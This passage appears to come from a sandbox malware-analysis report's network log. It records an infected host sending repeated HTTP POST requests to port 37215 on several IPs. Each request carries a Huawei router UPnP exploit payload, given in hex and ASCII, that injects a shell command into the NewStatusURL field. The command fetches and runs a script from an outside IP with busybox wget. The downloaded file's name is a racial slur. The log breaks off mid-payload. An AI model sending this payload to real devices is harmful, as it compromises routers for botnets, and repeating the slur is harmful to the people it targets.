72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:34.659164906 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.562566996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	54544	45.207.158.129	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.249784946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.803442001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:34.659156084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.562575102 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	50900	45.125.57.173	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.434624910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:33.571336031 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.259035110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 